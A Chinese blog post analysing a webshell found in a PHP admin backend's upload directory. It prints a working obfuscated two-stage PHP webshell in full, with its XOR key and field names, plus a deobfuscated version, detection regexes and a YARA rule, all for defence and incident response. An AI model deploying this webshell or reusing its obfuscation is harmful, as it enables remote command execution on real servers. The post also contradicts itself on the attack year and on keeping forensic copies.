Zhang's Notes — 记事本

$ ~/posts/security-upload-malware-analysis

一次后台管理系统的“上传木马”排查实录:从一个 1.5KB 的 Webshell 说起

TL;DR 一次例行代码体检,最后挖出三类共 5 个恶意文件:一个 1566 字节的 XOR+Chr() 双重混淆 Webshell、两个 JPEG 改名的上传绕过试探文件、一个 481KB 的 Adminer 数据库管理工具;外加一段藏在 Git 提交历史里的加密后门。所有恶意代码都不在业务代码里,而是通过"文件上传"这条路径进来的。本文完整还原排查过程、样本逐行解密、攻击路径推断与修复清单,代码和 IOC 已脱敏。


0x00 起因:一个不该存在的 25MB 文件

安全排查的起点往往很偶然。这次是在看仓库体积时,发现 Git 历史里躺着一个 25MB 的二进制归档文件 app_master,而工作区里也没有任何代码引用它。

顺手查了一下引入它的提交:

ca92ed9c88f98ec6148798bccb168bd267bc6bcd
name <name@mail.com>
Mon Dec 29 16:42:24 2025 +0800
 dnlasnd
 11461 files changed, 7475 insertions(+), 1893654 deletions(-)

三个异常信号同时亮红灯:

  1. 提交者身份:name <name@mail.com>——一个明显的占位符邮箱,与仓库其他提交者格式完全不同;
  2. 提交信息:dnlasnd,键盘乱敲;
  3. 提交规模:11461 个文件变更,删除了 189 万行代码(包括大量第三方 SDK 与一个 MySQL binlog 回放日志),同时新增了 25MB 的 app_master 和一个 public/info.php。

正常的业务提交不会长这样。但真正值得警惕的是:这次提交里混入了大量看起来完全正常的业务代码(几十个后台 Controller、Action)。攻击者把 2 个恶意文件埋在上万个正常文件里——这是最典型的人肉代码审查绕过手法。如果你的评审习惯是"看 diff 太大就只抽查几屏",这个提交就会被滑过去。


0x01 方法论:三层排查

发现异常提交后,我把排查拆成三层,结论先行:

层 手段 结论
Git 层 历史提交审计 1 个历史恶意提交(已回滚,但 blob 仍在)
文件层 工作区+被忽略文件枚举 4 个未跟踪的恶意文件(真实威胁主体)
代码层 全量正则特征扫描 业务代码 1392 个 PHP 文件 0 命中

这个顺序很重要:先查 Git 层可以快速判断"有没有人改过代码",再查文件层才能发现"有没有人放过文件"。这次的实际情况是——业务代码是干净的,恶意文件全部走的"文件层"。

以上三层针对代码仓库与工作区;生产服务器上的验证流程(确认木马是否还在、是否被复制到其他机器)见文末附录 B。

1.1 Git 层:抓"人"的异常比抓"代码"的异常更快

# 找出所有新增文件的提交
git log --diff-filter=A --summary

# pickaxe:定位某个可疑字符串在哪次提交被引入
git log -S "PHPJiaMi" --oneline
git log -S "eval(base64_decode" --oneline

-S 是这次最有效的命令。它不匹配 diff 内容,而是匹配"这个字符串出现次数发生变化的提交",所以哪怕文件经过混淆、只要特征串在任意版本出现过一次,就会被钉出来。

排查最近 30 个提交后确认:除 ca92ed9c 外,所有业务逻辑提交(活动筛选、数据导出、概率表单等)均为正常功能代码,无恶意 diff。

1.2 文件层:.gitignore 是木马最好的隐身衣

这里有一个很多人忽略的盲区:

/public/info.php
/public/uploads

/public/uploads 被忽略了。这意味着上传目录里的任何文件,永远不会出现在 git status 里,也永远不会被代码评审看到。 攻击者最喜欢往这里放东西——因为"工作区干净"是一个假象。

用枚举(而不是 git status)来验证:

Get-ChildItem -Recurse -File | Where-Object { $_.Extension -in '.php','.phtml','.php5','.pht' }

同时做时间戳三角比对——这是文件层最有力的取证手段:

文件 大小 LastWriteTime(服务器原始时间) CreationTime(本机拷入时间)
11.php; 428 B 2025/09/24 20:42:26 2025/12/29 16:42:12
baf3c6f1bb499bdb3ce2f6b74be00bc8.php; 428 B 2025/09/24 20:42:36 2025/12/29 16:42:12
1751356353361722/index.php 1566 B 2025/09/29 17:24 2025/12/29 16:42:12
adminer.php 493022 B 2025/09/29 17:24:50 2025/12/29 16:42:12

两个信息被直接读出来了:

  • 攻击发生在 2024 年 9 月(LastWriteTime 是服务器上的原始修改时间),而恶意提交发生在 12 月 29 日 16:42:24——与本机文件拷入时间 16:42:12 仅差 12 秒。这强烈指向:那次恶意提交与这批上传木马来自同一台机器的同一次操作,即提交很可能是在已被入侵的服务器/开发机上发起的。
  • 9 月 24 日的文件只是"试探",9 月 29 日才出现真正的载荷(Webshell + Adminer),符合"先探测上传绕过 → 成功后落地工具"的攻击节奏。

1.3 代码层:特征矩阵扫描

对 app/、config/、routes/、bootstrap/、database/、public/、storage/ 等目录做正则矩阵:

eval\s*\(|assert\s*\(|gzinflate|gzuncompress|str_rot13|preg_replace\s*\(.{0,10}/e
shell_exec|passthru|proc_open|popen|system\s*\(|exec\s*\(
base64_decode\s*\(\s*['"][A-Za-z0-9+/=]{100,}
chr\s*\(\s*['"]?\d+['"]?\s*\)\s*\.
curl_(exec|init)\s*\(\s*['"]https?://\d{1,3}\.

结果:1392 个 PHP 文件,恶意特征 0 命中。命中的少数 base64_decode(4 处)经人工核验均为配置项解密等正常用途;proc_open 全部来自 vendored 的 workerman(长连接组件);curl 目标均为配置文件里的支付/IM 网关。

阴性结论也是结论。它把问题域从"代码被投毒"收窄到了"文件被投放"——这决定了后面的修复方向是上传点加固,而不是全量代码回滚。


0x02 样本分析

2.1 样本 A:1566 字节的混淆 Webshell(重点)

落点:public/uploads/ueditor/image/20250701/1751356353361722/index.php

先说落点本身的信息量:ueditor/image/日期/随机数/ 是国内某富文本编辑器上传目录的标准结构,1751356353361722 是时间戳+随机数命名。这直接暴露了入口——ueditor 的图片上传接口。 攻击者没有清理痕迹,反而利用了上传组件自动生成的目录层级。

完整原文(1566 字节,共 36 行,为可读性做了折行):

WelCome You
<?pHP
@session_start();
@set_time_limit(Chr("48"));
@error_reporting/*SDUwOjSg*/(Chr("48"));
function eejEMPVR(/*mhupeihS*/$vOmKAvVG,$SSBxiTZa){
    for($ENhneBuo=Chr("48");$ENhneBuo<strlen($vOmKAvVG);$ENhneBuo++) {
        $XLwyFDAI = $SSBxiTZa[$ENhneBuo+Chr("49")&15];
        $vOmKAvVG[$ENhneBuo] = $vOmKAvVG[$ENhneBuo]^$XLwyFDAI;
    }
    return $vOmKAvVG;
}
$UKBRgHHM = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");
$base64_eejEMPVR = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode";
$kCgtEweB = $UKBRgHHM("QWExMjM0NTY=");
$RkOsJqjp='p'.$UKBRgHHM("YXlsb2Fk");
$RvqvIvmv='9e0a7f52'.$UKBRgHHM("M2E3Y2NjNDM=");
if (isset($_POST/*jIjCCISo*/[$kCgtEweB])){
    $datWOdTXTXU=eejEMPVR/*KFGvfXTU*/($UKBRgHHM($_POST[$kCgtEweB]),$RvqvIvmv);
    if (/*etIIgnKx*/isset($_SESSION/*kdhlzvzG*/[$RkOsJqjp])){
        $bYUrxkyK=eejEMPVR($_SESSION/*zPikUtyN*/[$RkOsJqjp],$RvqvIvmv);
        if (/*LaRqxBlE*/strpos($bYUrxkyK,$UKBRgHHM/*aAvwuFdk*/("Z2V0QmFzaWNzSW5mbw=="))===false){
            $bYUrxkyK=eejEMPVR/*mjjzkNEj*/($bYUrxkyK,$RvqvIvmv);
        }
        define("fJnlBRwc","//iHyOLbzT\r\n".$bYUrxkyK);
        eval("/*pass-DP@i*/".fJnlBRwc."");
        echo substr(/*bNSBLBno*/md5/*iFkGwXwz*/($kCgtEweB.$RvqvIvmv),Chr("48"),16);
        echo $base64_eejEMPVR(eejEMPVR(@run($datWOdTXTXU),$RvqvIvmv));
        echo substr(/*UShEPXco*/md5/*vEETGndB*/($kCgtEweB.$RvqvIvmv),16);
    }else{
        if (strpos/*OsvPqHWl*/($datWOdTXTXU,$UKBRgHHM("Z2V0QmFzaWNzSW5mbw=="))!==false){
            $_SESSION[$RkOsJqjp]=eejEMPVR($datWOdTXTXU,$RvqvIvmv);
        }
    }
}
?>

逐段解密。混淆一共用了五种手法,逐个拆:

① Chr() 拼接函数名

$UKBRgHHM = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");

Chr("52") = '4',Chr("101") = 'e',拼起来就是 base64_decode。同理 $base64_eejEMPVR = base64_encode。用 chr() 而不是直接写字符串,是为了绕过静态扫描器对 base64_decode、eval 等敏感函数名的字面量匹配。

② XOR 密钥也藏在 base64 里

$kCgtEweB = $UKBRgHHM("QWExMjM0NTY=");   // "Aa123456"   → POST 参数名
$RkOsJqjp = 'p'.$UKBRgHHM("YXlsb2Fk");   // "payload"    → $_SESSION['payload']
$RvqvIvmv = '9e0a7f52'.$UKBRgHHM("M2E3Y2NjNDM="); // → "9e0a7f523a7ccc43",16 字节 XOR 密钥

POST 参数名是 Aa123456,会话键是 payload,XOR 密钥是 9e0a7f523a7ccc43。

③ XOR 循环里的一个隐蔽细节

$XLwyFDAI = $SSBxiTZa[$ENhneBuo + Chr("49") & 15];

PHP 里 + 优先级高于 &,所以这句实际是 $key[($i + 1) & 15]——密钥取位整体错位一位,并对 16 取模循环。也就是说它不是简单的"明文 XOR 密钥",而是 XOR 密钥的旋转版本。如果你写解密脚本时按标准 XOR 写,前 16 字节会全是乱码。这种"故意留一个语义陷阱"的手法,在实战样本里非常常见。

④ 垃圾注释打断特征串

$_POST/*jIjCCISo*/[$kCgtEweB]
@error_reporting/*SDUwOjSg*/(Chr("48"))

函数名与括号/方括号之间插入随机字符串注释。这能精确打断 $_POST[、error_reporting( 这类签名匹配,但 PHP 解析器完全无视注释——代码功能零损耗。/*...*/ 内容是随机的,每个样本都不同,所以这也是每个样本的唯一特征串,可以用来做同源归因。

⑤ 大小写混合 + 明文头部

WelCome You
<?pHP

<?pHP 混淆大小写;文件第一行还有一段 PHP 标签之前的明文 WelCome You,它会被原样输出到 HTTP 响应体最前面——这既是作者的"签名",也是攻击者的存活探针:请求这个文件,只要响应体以 WelCome You 开头,就说明 PHP 解析生效了。

还原后的逻辑

session_start();
define('POST_FIELD', 'Aa123456');          // 入参字段名
define('SESS_KEY',   'payload');            // 会话键
define('XOR_KEY',    '9e0a7f523a7ccc43');   // 16 字节密钥(注意实际使用时旋转了 1 位)

function xor_decrypt($data, $key) {
    for ($i = 0; $i < strlen($data); $i++)
        $data[$i] = $data[$i] ^ $key[($i + 1) & 15];
    return $data;
}

$cmd = xor_decrypt(base64_decode($_POST[POST_FIELD]), XOR_KEY);

if (isset($_SESSION[SESS_KEY])) {                    // —— 阶段二:执行
    $loader = xor_decrypt($_SESSION[SESS_KEY], XOR_KEY);
    if (strpos($loader, 'getBasicInfo') === false)
        $loader = xor_decrypt($loader, XOR_KEY);     // 容错:二次解密
    eval($loader);                                    // eval 出 run() 函数定义
    echo substr(md5(POST_FIELD . XOR_KEY), 0, 16);   // 帧头
    echo base64_encode(xor_decrypt(run($cmd), XOR_KEY));  // 真正的执行结果
    echo substr(md5(POST_FIELD . XOR_KEY), 16);      // 帧尾
} else {                                             // —— 阶段一:装载
    if (strpos($cmd, 'getBasicInfo') !== false)
        $_SESSION[SESS_KEY] = xor_decrypt($cmd, XOR_KEY);
}

这是一个两阶段(stager)设计,非常值得注意:

  • 阶段一(装载):POST 一段包含 getBasicInfo 标记的 PHP 代码,服务端解密后存进 $_SESSION['payload'],不执行;
  • 阶段二(执行):再 POST 任意命令,服务端从会话取出装载代码 eval(此时 run() 函数被定义出来),然后调用 run($cmd) 执行真正的命令,结果 XOR+base64 编码后返回。

为什么要这么绕?两个目的:

  1. 磁盘零残留。核心 payload 存在会话里(内存/redis),服务器上永远只有一个 1.5KB 的"空壳",文件内容里不包含任何实际攻击代码,杀软和 Webshell 扫描器翻遍这个文件也找不到可判定的恶意特征。
  2. 输出混淆。返回值用 md5 的前 16 位和后 16 位做帧头帧尾,方便客户端脚本从一堆业务错误信息里把结果摘出来。

顺带一提,$loader 里那句 strpos($code, 'getBasicInfo') === false 就是自校验:只有解密结果里含 getBasicInfo 才认为密钥正确,否则再解一次。这是在防止攻击者自己用错密钥导致 eval 出乱码把 PHP 进程打崩。

2.2 样本 B:428 字节的 JPEG 改名试探

public/uploads/images/ 下有两个文件,真实文件名是:

11.php;
baf3c6f1bb499bdb3ce2f6b74be00bc8.php;

注意结尾——文件名以**全角分号 ;(U+FF1B,码点 65307)**结尾,不是半角 ;。魔数校验:

11.php;                  magic = FF D8 FF E0
baf3c6f1bb...bc8.php;    magic = FF D8 FF E0

FF D8 FF E0 是标准 JPEG(JFIF)头。两个文件都是真图片,只是被改成了 .php 后缀。

这说明什么?它们根本不是载荷,而是"探针"。 428 字节的图片加 .php 后缀,如果服务器执行它,只会输出一堆 JPEG 乱码;攻击者要验证的是"上传后的文件能否被当作 PHP 执行",而不是真的要用它做事。全角分号更是典型的解析漏洞试探:在某些 Apache/Nginx + Windows 的配置下,xxx.php;xxx.jpg 这类构造会因为 URL 解析与文件系统解析不一致而只取 .php 部分执行(类似 %00 截断的变体)。baf3c6f1... 这个 32 位十六进制串则是常见 CMS/上传组件生成的文件名格式——说明攻击者可能同时在试探多个上传接口。

时间线上它们出现在 9 月 24 日,比 9 月 29 日的 Webshell 早 5 天。先探针、后载荷,节奏吻合。

2.3 样本 C:481KB 的 Adminer

public/uploads/ueditor/image/20250701/adminer.php,493022 字节,文件头:

/** Adminer - Compact database management
* @link https://www.adminer.org/
* @version 5.2.1

开源数据库管理工具 Adminer。单文件、免安装、支持 MySQL/PostgreSQL/SQLite、带导入导出——它是攻击者最爱的"二次入口":一旦拿到 Webshell,下一步就是把 Adminer 丢到 web 目录里,用浏览器可视化地拖库,比命令行 mysqldump 舒服得多。

它也暴露了攻击者的意图是数据窃取,而不只是留个后门。同时它还构成一条持久化通道:即使你删了 Webshell,只要这个文件还在,攻击者知道 URL 就能随时连数据库。

值得强调的是:它能被放进 uploads 目录并存活 3 个月(9 月 29 日 → 12 月 29 日),恰恰印证了那句老话——上传目录禁止执行,比任何 WAF 都便宜且有效。

2.4 附:Git 历史里的"加密后门"

git show ca92ed9c:public/info.php 可以把历史里的后门取出来,头部:

<?php /* PHP Encode by  https://Www.PHPJiaMi.Com/ */
error_reporting(0); ini_set("display_errors", 0);
if(!defined('dacqtlyw')){ define('dacqtlyw',__FILE__);
if(!function_exists("<乱码>")){ function "<乱码>"(...){

这是国内某在线 PHP 加密平台(PHPJiaMi)的产物:变量名被打成 GBK 乱码,函数体全部加密,运行时解密执行。它已经由 b4fb54d2 删除病毒文件 和 3299108c 忽略病毒文件 两次提交从 HEAD 移除,并加入 .gitignore——但这是"删了",不是"没了",下一节展开。


0x03 攻击路径推断

把所有证据拼起来,完整链条是这样的:

[入口] ueditor 图片上传接口(无后缀/类型校验)
   ↓  09/24  JPEG + .php;双后缀试探解析规则
[验证] 确认 uploads 目录可被 PHP 解析
   ↓  09/29  落地 index.php(两阶段 Webshell)+ adminer.php
[驻留] uploads 目录被 .gitignore,永不进入代码评审
   ↓  12/29  在已被入侵的机器上发起提交 ca92ed9c
[扩散] 木马 + 25MB 归档 + 加密后门 info.php 混入 11461 个文件推送远端

根因只有一个:上传目录没有禁止执行 PHP。 其余所有问题(.gitignore 掩盖、提交被冲进远端)都是这个根因的下游后果。

补充一个判断:业务代码全量扫描 0 命中,说明攻击者没有改过任何业务逻辑,也没有植入供应链级后门。他的目标非常明确——数据。这在安全定性上属于"入侵成功但损害有限",但仍必须按最坏情况处理(见修复清单的凭据轮换项)。


0x04 "删了但没真删":Git 历史里的幽灵

这是很多团队的共同误区。b4fb54d2 把 public/info.php 从代码里删掉了,工作区干净了,git status 干净了——但那个恶意 blob 还完整地躺在 .git/objects/ 里:

# 任何人 clone 仓库后,一行命令即可取回木马
git show ca92ed9c:public/info.php

# 甚至可以整棵检出当时的完整快照
git checkout ca92ed9c

Git 是内容寻址的快照系统,删除只是在新快照里不再引用,旧对象要等 GC 且未被任何引用触达时才会真正清除。只要恶意提交还在被任何分支/tag 引用的历史里,它就永远可取回。

正确做法是改写历史:

pip install git-filter-repo
git filter-repo --path public/info.php --invert-paths
git filter-repo --path app_master --invert-paths
# 然后强推远端,并让所有协作者重新 clone(而非 pull)

⚠️ 改写历史会变更所有提交的 SHA,且 pull 无法收敛,必须全员重新 clone。所以改写历史要和密钥轮换同步做——历史里取回的不只是木马,还有你 .env 里那些从未变过的密钥。

本次排查中,仓库 .env 里保存的是真实生产凭据(MySQL root 密码、Redis 密码、对象存储 SecretId/SecretKey、IM 与支付密钥),且 APP_DEBUG=true。既然仓库曾被入侵且历史可回溯,这些凭据必须视为已泄露并全部轮换,同时将 APP_DEBUG 置为 false(调试模式会把 .env 片段、SQL 语句、堆栈信息回显到 HTTP 响应里,是信息泄露的重灾区)。


0x05 修复清单(按优先级)

P0 — 立即执行

  1. 删除 4 个恶意文件(4 个文件全部删除即可,无需保留取证副本,磁盘上已无价值);
  2. 轮换全部凭据:数据库、Redis、对象存储、IM、支付网关、.env 中的 APP_KEY;
  3. APP_DEBUG=false。

P1 — 上传点根治(真正堵住根因)

上传目录禁止执行 PHP:

# Nginx:uploads 目录下任何 PHP 都不解析
location ~* ^/uploads/.*\.(php|phtml|php5|pht|phar)$ {
    deny all;
}
# Apache:.htaccess
<Directory "/path/to/public/uploads">
    php_flag engine off
</Directory>

更彻底的做法是让上传文件根本不落在 Web 可访问目录——转存到对象存储(OSS/COS)的私有桶,通过带签名的临时 URL 访问。这样连"上传目录被访问"这件事都不存在。

P2 — 上传接口自身加固

  • 扩展名白名单(只允许 jpg/jpeg/png/gif/webp),拒绝一切黑名单式的"过滤 php";
  • 服务端用 finfo_file() 读魔数校验 MIME,与扩展名交叉验证(防本次的 JPEG 改 .php);
  • 随机重命名,不要保留原始文件名与 ueditor 自动生成的时间戳目录(本次 ueditor/image/20250701/1751356353361722/ 的目录结构就是攻击者的路标);
  • 上传目录归属独立域名(upload.example.com),主站即使被上传也无法在同一域名下执行。

P3 — 流程与自动化

  • CI 集成扫描:gitleaks(密钥泄露)+ 自定义正则(eval(base64_decode、chr() 连接、<?pHP 大小写混淆等)作为 MR 合并门禁;
  • 预提交钩子:拦截 .php 出现在 public/uploads 路径下;
  • 提交异常告警:对"提交者邮箱不在白名单 / 变更文件数 > 500 / 删除行数 > 10 万"的提交强制人工复核——本次那个 11461 文件、189 万删除行的提交,只要有一条这样的规则就会被拦下。

P4 — 善后

  • git filter-repo 清除历史中的 public/info.php 与 app_master,全员重新 clone;
  • 检查所有 clone 过该仓库的开发机与 CI Runner 是否也存在 public/uploads 下的木马副本(本次排查中,恶意文件的本机创建时间与提交时间仅差 12 秒,说明入侵机器不止一台)。

0x06 复盘:三条最有价值的经验

1. "工作区干净"不等于"没有木马"。 .gitignore 会让 git status 对上传目录完全失明。安全排查必须用文件系统枚举,而不是 VCS 视图。

2. 扫"人"比扫"代码"快。 占位符邮箱、乱码提交信息、超大变更规模——这三个元数据特征的信噪比,远高于在几十万行 PHP 里匹配 eval。本次真正定位到恶意提交的,不是正则,是那行 name <name@mail.com>。

3. 混淆的尽头是"扫描器免疫",但不是"分析免疫"。 这个 1566 字节的样本用了 chr() 拼接、垃圾注释、大小写混合、XOR 密钥旋转、两阶段免落盘五种手法,静态特征匹配确实全部失效。但只要把它跑一遍、逐行还原,所有逻辑依然清晰。对抗混淆靠的不是更强的正则,而是愿意打开文件从第一行读起。


附录 A:IOC

项目 值
Webshell 文件大小 1566 字节(36 行)
Webshell 头部特征 WelCome You + <?pHP
Webshell XOR 密钥 9e0a7f523a7ccc43(使用时旋转 1 位:key[($i+1)&15])
Webshell POST 字段名 Aa123456
Webshell 会话键 payload
Webshell 载荷标记 getBasicInfo
Webshell 输出帧头/帧尾 substr(md5($field.$key),0,16) / [16]
加密平台特征 PHP Encode by https://Www.PHPJiaMi.Com/
工具型后门 Adminer 5.2.1(493022 字节)
上传探针特征 JPEG 魔数 FF D8 FF E0 + 文件名以全角分号 ;(U+FF1B) 结尾
敏感目录特征 public/uploads/ueditor/image/<date>/<timestamp-random>/

全文域名、仓库地址、IP、数据库/对象存储/支付凭据、业务模块名称均已脱敏处理;样本中的密钥与特征串为公开木马签名,保留以供检测规则引用。


附录 B:服务器侧恶意文件排查手册(命令可直接执行)

前文所有排查发生在代码仓库与工作区。但仓库干净 ≠ 生产环境干净:上传目录被 .gitignore 掩盖,木马可能从未进入版本库,却真实存在于服务器磁盘上。本附录回答"生产服务器上现在还有没有、曾经发生过什么"。

假设 Linux + root/SSH 权限;命令中的 /var/www 请替换为你的实际 Web 根目录(用 B.0 的方法先找出来)。全盘扫描有一定 IO 开销,建议选业务低峰期执行。

B.0 先定位战场(5 分钟)

不要盲目扫全盘,先确定"哪些目录需要扫":

# Web 根目录在哪(比 find / 更准)
nginx -T 2>/dev/null | grep -E '^\s*root|server_name'
grep -rE 'DocumentRoot|<Directory' /etc/httpd /etc/apache2 2>/dev/null

# 机器上都跑了什么端口(发现意外的反代/后门监听)
ss -tunlp

# PHP-FPM pool 配置(每个 pool 的 web root 不一定相同)
grep -rE '^\s*(listen|user|chdir)' /etc/php*/fpm/pool.d/

把结果里的 Web 根目录记下来,下面所有命令统一替换。

B.1 时间窗口扫描——用已知入侵日期切片

本文样本已经给出确切的攻击时间点:9/24(探针)、9/29(Webshell + Adminer)、12/29(扩散)。按时间切片比全盘特征扫描高效得多:

find /var/www -xdev \
  \( -path '*/vendor/*' -o -path '*/node_modules/*' -o -path '*/storage/framework/*' \) -prune -o \
  -type f \( -newermt '2025-09-15' ! -newermt '2025-10-15' -o \
             -newermt '2025-12-20' ! -newermt '2026-01-05' \) -print

把入侵窗口放宽几天(±1 周),避免因时区差异或文件搬运漏掉。

B.2 时间戳三角比对——抓"改过时间"的文件

touch -d 修改 mtime 时,ctime(inode 变更时间)会变成当前时间,攻击者无法同时伪造两者。ctime 明显晚于 mtime 的文件即为高危:

find /var/www /tmp /dev/shm -xdev -type f -printf '%C@ %T@ %p\n' \
  | awk '$1 - $2 > 86400 {print $3}'

/tmp 和 /dev/shm 必须一起扫:它们可执行,常被 Webshell 用来做无文件驻留。

B.3 基线比对——命中率最高的一招

盲扫靠特征命中率,基线比对靠"线上多出了什么",后者几乎不会漏。只要手上有可信的发布产物(git tag、CI artifact、部署前备份),就能直接列出线上与代码库的全部差异:

# 方法 A:拿一份干净代码,rsync dry-run 对比
cd /tmp && git clone -b <线上对应tag> --depth=1 <仓库地址> clean
rsync -nrc --itemize-changes --delete \
  --exclude='.env' --exclude='storage/' --exclude='public/uploads/' --exclude='.git' \
  /tmp/clean/ /var/www/current/ | grep -E '^\*deleting|[>f].*\.(php|phtml|phar)$'
# ↑ 输出里的 "deleting" 就是线上存在但代码库没有的文件 = 最可疑的
# 方法 B:没有干净副本时,先导出现网 PHP 文件清单待人工核对
find /var/www -name '*.php' -not -path '*/vendor/*' -exec sha256sum {} + | sort -k2 > /tmp/live.sha256

B.4 文件名特征枚举——复用附录 A 的 IOC

# 上传目录下的任何 PHP 系文件(本次事件的根因目录)
find /var/www -type f -ipath '*upload*' \
  \( -iname '*.php' -o -iname '*.phtml' -o -iname '*.php5' -o -iname '*.pht' -o -iname '*.phar' \)

# 双扩展名(jpg.php / php;.jpg 之类)
find /var/www -type f -regextype posix-extended -iregex '.*\.(jpg|jpeg|png|gif|webp)\..*'

# 隐藏文件(Webshell 常命名成 .index.php 之类)
find /var/www /tmp /dev/shm -name '.*' -type f -size -1M

# 上传目录里体积异常小的"图片"(本次探针仅 428 字节)
find /var/www -ipath '*upload*' -type f \( -iname '*.jpg' -o -iname '*.png' \) -size -2k

# 文件名带全角字符/不可见字符(本次探针就是全角分号结尾)
find /var/www -type f | grep -P '[\x{FF00}-\x{FFEF}\x00-\x1F]'

B.5 内容扫描——三层互补

工具 作用 定位
ClamAV 通用恶意软件库 兜底,对定制 Webshell 检出率一般
YARA Webshell 专用规则 主力,可用附录 A 的 IOC 写自定义规则
ripgrep 精确正则 快、可控,适合接进 CI
freshclam && clamscan -r --infected --move=/root/quarantine /var/www /tmp /dev/shm

自定义 YARA 规则(覆盖本文三个样本的特征,存为 webshell.yar):

rule php_upload_webshell {
    strings:
        $a = "WelCome You" ascii
        $b = "PHP Encode by" ascii
        $c = "getBasicInfo" ascii
        $d = /chr\s*\(\s*["']?\d+["']?\s*\)\s*\.\s*["']de["']/ ascii
        $e = "auto_prepend_file" ascii
    condition: 2 of them or ($a and $d)
}
yara -r /path/to/webshell.yar /var/www
# ripgrep 特征矩阵(--glob 排除 vendor)
rg -n --glob '!vendor/**' --glob '!storage/framework/**' \
  -e 'eval\s*\(\s*["'"'"']?(base64_decode|gzinflate|str_rot13)' \
  -e 'assert\s*\(\s*\$_(POST|GET|REQUEST)' \
  -e 'preg_replace\s*\(.{0,20}/[a-z]*e[a-z]*["'"'"']' \
  -e 'base64_decode\s*\(\s*["'"'"'][A-Za-z0-9+/=]{200,}' \
  -e 'shell_exec|passthru|proc_open' \
  /var/www

B.6 持久化通道检查——删了 Webshell 不代表完事

入侵者常留"第二把钥匙",这些通道比单个 Webshell 更隐蔽:

# 计划任务(最常见持久化,覆盖所有用户)
for u in $(cut -f1 -d: /etc/passwd); do
  crontab -u $u -l 2>/dev/null | grep -v '^#' | sed "s/^/$u: /"
done
ls -la /etc/cron.d/ /var/spool/cron/ /etc/cron.*/ 2>/dev/null
systemctl list-timers --all | head -20

# 异常服务与被改的服务文件
systemctl list-units --type=service --state=running
find /etc/systemd/system /usr/lib/systemd/system -mtime -90 -type f

# SSH 后门
for f in /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; do
  echo "== $f"; cat "$f" 2>/dev/null
done

# 环境级劫持(ld.so.preload 非空 = 极可能 rootkit)
cat /etc/ld.so.preload 2>/dev/null
ls -la /etc/ld.so.preload /etc/profile.d/*.sh ~/.bashrc ~/.bash_profile 2>/dev/null

# PHP 配置级后门(auto_prepend 会让所有页面带毒,比 Webshell 更隐蔽)
for bin in php php8.1 php8.2 php8.3; do
  command -v $bin >/dev/null && \
  $bin -i 2>/dev/null | grep -iE 'auto_prepend_file|auto_append_file|disable_functions|open_basedir'
done
grep -rn -iE 'auto_prepend|auto_append' /etc/php* /usr/local/php* 2>/dev/null

# Web 服务器配置里的异常 location / 反代
nginx -T 2>/dev/null | grep -E 'location|proxy_pass|alias|root'

B.7 日志回放——回答"什么时候进来的、有没有带走数据"

# 上传目录被访问 PHP 的记录(本文事件的核心证据)
awk '$9==200 && $7 ~ /uploads\/.*\.(php|phtml)/' /var/log/nginx/access.log* \
  | awk '{print $4,$7}' | sort | uniq -c | sort -rn | head -30

# ueditor 上传接口的调用(入口)
grep -E 'POST .*(ueditor|upload|imageUp|catchimage)' /var/log/nginx/access.log* | head -50

# 按已知入侵日期重点回放(2025-09-24 / 09-29 / 12-29)
zgrep -h '2025-09-2[4-9]\|2025-12-29' /var/log/nginx/access.log* \
  | grep -E '\.(php|phtml)' | awk '$9!=404'

# SSH 登录与暴力破解
last -a | head -30
lastb 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head
grep 'Accepted' /var/log/secure /var/log/auth.log 2>/dev/null | tail -30

# 数据库账号(Adminer 拖库的旁证)
mysql -e "SELECT user,host FROM mysql.user;"

再查后台管理账号表,看 9 月以来有无新增账号或异常登录 IP——Adminer 的存在意味着攻击者有能力直接操作数据库。

B.8 判定与处置

发现可疑文件
   │
   ├─ 在代码库/发布包里存在吗?──是──> 比对哈希:一致=正常文件;不一致=被篡改,高危
   │         否
   │         ↓
   ├─ 位于 Web 可访问目录?──是──> 立即隔离取证(cp 到 /root/quarantine + sha256sum)
   │         否 ──> 列入观察清单,检查是否被 cron/systemd 引用
   │         ↓
   ├─ 服务器配置被改过?
   │   (auto_prepend / ld.so.preload / nginx location / cron)
   │         是 ──> 直接判定"确认入侵",走重建流程
   │         否 ──> 仅清除文件,但仍需 B.7 日志回放确认影响面
   │         ↓
   └─ 确认入侵 → ①封源 IP ②取证留存 ③轮换全部凭据
                ④用干净副本重建 ⑤上传目录禁止执行 ⑥部署文件完整性监控

处置三原则:

  1. 先隔离再删除。可疑文件 cp 到 /root/quarantine/ 并记录 sha256sum,保留取证价值(分析 C2、横向移动线索),再从 Web 目录清除。
  2. 不要试图"只删木马文件"了事。你不知道有没有第二个。确认入侵后按"重建"而非"清杀"处理:干净代码副本 + 全部凭据轮换。
  3. 深度可疑时考虑重装。出现 rootkit 迹象(ld.so.preload 异常、异常内核模块)时,先跑 rkhunter --check / lynis audit system,仍不能排除则直接重装系统 + 从备份恢复数据。

B.9 工具速查

目的 首选 备选
线上 vs 代码库差异 rsync -nrc 基线比对 sha256sum 清单
Webshell 内容检测 YARA(webshell 规则集) ClamAV、ripgrep 正则矩阵
主机审计 / 长期监控 LinPEAS(信息收集)、AIDE(文件完整性) lynis、rkhunter、OSSEC
← 全部文章 回到顶部 ↑